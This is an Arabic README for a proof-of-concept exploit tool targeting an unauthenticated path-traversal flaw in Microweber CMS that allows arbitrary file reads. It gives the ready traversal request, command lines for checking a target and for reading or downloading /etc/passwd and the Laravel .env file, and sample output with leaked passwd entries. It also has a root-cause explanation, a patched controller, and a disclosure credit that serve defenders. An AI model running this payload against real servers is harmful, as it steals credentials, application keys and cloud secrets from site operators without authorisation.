
PoC لثغرة CVE-2026-65694 — Microweber CMS (<=2.0.20) اجتياز المسار بدون مصادقة → قراءة ملفات عشوائية (.env / الأسرار)
إثبات مفهوم لـ CVE-2026-65694، وهي ثغرة اجتياز مسار غير مصادق عليها ← قراءة ملفات تعسفية في Microweber CMS.
يمكن لمهاجم غير مصادق قراءة أي ملف يمكن لمستخدم خادم الويب الوصول إليه — ملف Laravel .env (APP_KEY، بيانات اعتماد قاعدة البيانات، أسرار البريد/السحابة)، /etc/passwd، السجلات، المفاتيح، الإعدادات غير .php، إلخ — عبر المسار العام GET /userfiles/{path}.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master الحالي (السطر القابل للاستغلال ما زال موجودًا)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
يتم تسجيل المسار بدون مصادقة:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
مشكلتان تتضافران:
$request->path (الوصول عبر الخاصية، وليس عبر الطريقة $request->path()) يُحل عبر Request::__get في Laravel ← Arr::get($this->all(), 'path', fn() => $this->route('path')). لذا فإن معامل الاستعلام ?path= يتجاوز جزء المسار {path} — وقيم الاستعلام لا تخضع لتطبيع .. الذي يطبّقه المتصفح/الخادم على مسار URL.normalize_path() فقط بضغط الشرطات المائلة؛ ولا تزيل أو تحل .. مطلقًا، ولا يوجد أي تحقق من بقاء المسار المُحل داخل userfiles_path(). ومن ثم تقوم طبقة الملفات في PHP بحل تسلسلات .. على نظام الملفات.يمنع المتحكم فقط الامتدادات .php و .phtml و .php7 (skip_ext)، لذا لا يمكن قراءة كود PHP مباشرة — لكن كل ما عدا ذلك قابل للقراءة (.env، /etc/passwd، السجلات، المفاتيح، قواعد بيانات SQLite، إعدادات JSON/YAML، …).
pip install -r requirements.txt
قابلة للاستغلال في أي نشر يستخدم جذر المستندات الموصى به public/ (ملف public/.htaccess المرفق مع Microweber، أو وحدة تحكم أمامية nginx try_files $uri /index.php)، حيث يقع userfiles/ خارج جذر الويب ويتم توجيه /userfiles/* إلى موجه Laravel.
ثلاثة إجراءات:
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
يتم اكتشاف عمق الاجتياز تلقائيًا (زيادة ../ حتى يتم تقديم الملف)؛ يمكن تجاوزه باستخدام --depth N. مرر عبر Burp باستخدام --proxy http://127.0.0.1:8080. أضف -v لعرض الطلب الخام.
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
الطلب الأساسي هو ببساطة:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
قراءة ملفات تعسفية بدون مصادقة. تسريب ملف Laravel .env يمنح المهاجم APP_KEY (تزوير الجلسات/الكوكيز)، وبيانات اعتماد قاعدة البيانات، وكلمة مرور البريد، ومفاتيح السحابة — ما يعادل اختراقًا كاملاً لأسرار المثيل.
اقرأ معامل المسار المرتبط بدلاً من خاصية الإدخال، وطبّع باستخدام realpath()، وتحقق من بقاء المسار المُحل داخل userfiles_path():
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
اكتشفها وأبلغ عنها Bobur Abdugafforov. تم تعيين CVE-2026-65694 عبر VulnCheck.
للاستخدام في الاختبارات الأمنية المصرح بها والأغراض التعليمية فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
| Flag | الإجراء |
|---|
--check | الإبلاغ عما إذا كان الهدف قابلاً للاستغلال (نعم/لا)، دون تفريغ البيانات |
-r, --read FILE | قراءة ملف وطباعته إلى stdout |
-d, --download FILE | قراءة ملف وحفظه محليًا (يحدد -o/--output الاسم) |